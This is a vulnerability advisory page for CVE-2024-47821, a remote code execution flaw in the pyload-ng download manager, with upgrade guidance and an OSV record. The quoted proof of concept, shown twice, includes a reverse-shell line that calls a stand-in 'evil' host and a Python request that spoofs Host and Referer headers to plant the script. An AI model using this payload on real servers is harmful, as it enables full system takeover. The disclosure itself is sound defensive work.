CVE-2024-47821: Pyload ng Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-w7hq-f2pj-c53g
CVSS 9.1
CWE-78
Published
Advisory Summary

CVE-2024-47821 is a HIGH (CVSS 9.1) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves pyload vulnerable to remote code execution by download to /.pyload/scripts using /flashgot api. Remediation is available by upgrading affected packages to version 0.5.0b3.dev87.

CVE-2024-47821 at a Glance

CVE Identifier CVE-2024-47821
GHSA Identifier GHSA-w7hq-f2pj-c53g
Severity HIGH
CVSS v3.1 Base Score 9.1
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Pyload ng
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-47821

To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyload-ng fixed: 0.5.0b3.dev87
pip install pyload-ng>=0.5.0b3.dev87
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyload-ng

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2024-47821, inspect your installed packages using pip:

pip show pyload-ng

Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.0b3.dev87), your application is affected.

Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file. ### Details **Configuration changes** 1. Change the download folder to `/home/<user>/.pyload/scripts` 2. Change permissions for downloaded files: 1. Change permissions of downloads: on 2. Permission mode for downloaded files: 0744 **Making the request to download files** The `flashgot` API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks. *Referer header check* ``` def flashgot(): if flask.request.referrer not in ( "http://localhost:9666/flashgot", "http://127.0.0.1:9666/flashgot", ): flask.abort(500) ... ``` *Host header check for local check* ``` def local_check(func): @wraps(func) def wrapper(*args, **kwargs): remote_addr = flask.request.environ.get("REMOTE_ADDR", "0") http_host = flask.request.environ.get("HTTP_HOST", "0") if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in ( "127.0.0.1:9666", "[::1]:9666", ): return func(*args, **kwargs) else: return "Forbidden", 403 return wrapper ``` Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed ### PoC Create a malicious file. I have created a reverse shell ``` #!/bin/bash bash -i >& /dev/tcp/evil/9002 0>&1 ``` Host this file at some URL, for eg: http://evil Create a request like this for the `flashgot` API. I am using `download_finished` folder as the destination folder. Scripts in this folder are run when a download is completed. ``` import requests url = "http://pyload/flashgot" headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"} data = { "package": "download_finished", "passwords": "optional_password", "urls": "http://evil/exp.sh", "autostart": 1, } response = requests.post(url, data=data, headers=headers) ``` When the above request is made, exp.sh will be downloaded to `/scripts/download_finished folder`. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run. I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine ### Screenshots *Download folder* <img width="672" alt="1" src="https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76"> *`exp.sh` is downloaded* <img width="714" alt="2" src="https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec"> *Script is run* <img width="714" alt="3" src="https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9"> *Reverse shell connection is received* <img width="314" alt="4" src="https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800"> ### Impact This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system

CVE-2024-47821 Affected Pyload ng Versions

1 component(s)
Fixed Versions:
0.5.0b3.dev87
Product / Package Ecosystem Affected Versions Fixed Version
pyload-ng
PyPI
< 0.5.0b3.dev87
0.5.0b3.dev87

References

Frequently Asked Questions

What is CVE-2024-47821?
CVE-2024-47821 is a security vulnerability in Pyload ng involving pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Pyload ng versions are affected?
Affected versions include releases prior to 0.5.0b3.dev87 across affected packages: pyload-ng.
What version fixes CVE-2024-47821?
Upgrading to 0.5.0b3.dev87 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyload-ng affected?
Yes, pyload-ng is affected in releases prior to 0.5.0b3.dev87. Upgrade your dependency to 0.5.0b3.dev87 or later.
What is the CVSS score of CVE-2024-47821?
CVE-2024-47821 has a CVSS v3.1 base score of 9.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2024-47821?
CVE-2024-47821 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2024-47821?
Run the dependency tree command: 'pip show pyload-ng'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w7hq-f2pj-c53g",
  "modified" : "2026-06-08T19:05:57Z",
  "published" : "2024-10-28T12:23:29Z",
  "aliases" : [ "CVE-2024-47821" ],
  "summary" : "pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API",
  "details" : "### Summary\nThe folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file.\n\n### Details\n\n**Configuration changes**\n1. Change the download folder to `/home/<user>/.pyload/scripts`\n2. Change permissions for downloaded files:\n    1. Change permissions of downloads: on\n    2. Permission mode for downloaded files: 0744\n\n**Making the request to download files**\n\nThe `flashgot` API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.\n\n*Referer header check*\n```\ndef flashgot():\n    if flask.request.referrer not in (\n        \"http://localhost:9666/flashgot\",\n        \"http://127.0.0.1:9666/flashgot\",\n    ):\n        flask.abort(500)\n  ...\n```\n*Host header check for local check*\n```\ndef local_check(func):\n    @wraps(func)\n    def wrapper(*args, **kwargs):\n        remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n        http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n        if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n            \"127.0.0.1:9666\",\n            \"[::1]:9666\",\n        ):\n            return func(*args, **kwargs)\n        else:\n            return \"Forbidden\", 403\n\n    return wrapper\n```\n\nOnce the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed\n\n\n### PoC\nCreate a malicious file. I have created a reverse shell\n```\n#!/bin/bash\nbash -i >& /dev/tcp/evil/9002 0>&1\n```\n\nHost this file at some URL, for eg: http://evil\n\nCreate a request like this for the `flashgot` API. I am using `download_finished` folder as the destination folder. Scripts in this folder are run when a download is completed.\n```\nimport requests\n\nurl = \"http://pyload/flashgot\"\nheaders = {\"host\": \"127.0.0.1:9666\", \"Referer\": \"http://127.0.0.1:9666/flashgot\"}\n\ndata = {\n    \"package\": \"download_finished\",  \n    \"passwords\": \"optional_password\",  \n    \"urls\": \"http://evil/exp.sh\",\n    \"autostart\": 1,\n}\n\n\nresponse = requests.post(url, data=data, headers=headers)\n```\nWhen the above request is made, exp.sh will be downloaded to `/scripts/download_finished folder`. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.\n\nI also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine\n\n### Screenshots\n*Download folder*\n\n<img width=\"672\" alt=\"1\" src=\"https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76\">\n\n*`exp.sh` is downloaded*\n\n<img width=\"714\" alt=\"2\" src=\"https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec\">\n\n*Script is run*\n\n<img width=\"714\" alt=\"3\" src=\"https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9\">\n\n*Reverse shell connection is received*\n\n<img width=\"314\" alt=\"4\" src=\"https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800\">\n\n\n### Impact\nThis vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.0b3.dev87"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-47821"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/commit/48f59567393a19263c8a0285256a7537dc9ce109"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-302.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-10-28T12:23:29Z",
    "nvd_published_at" : "2024-10-25T23:15:02Z"
  }
}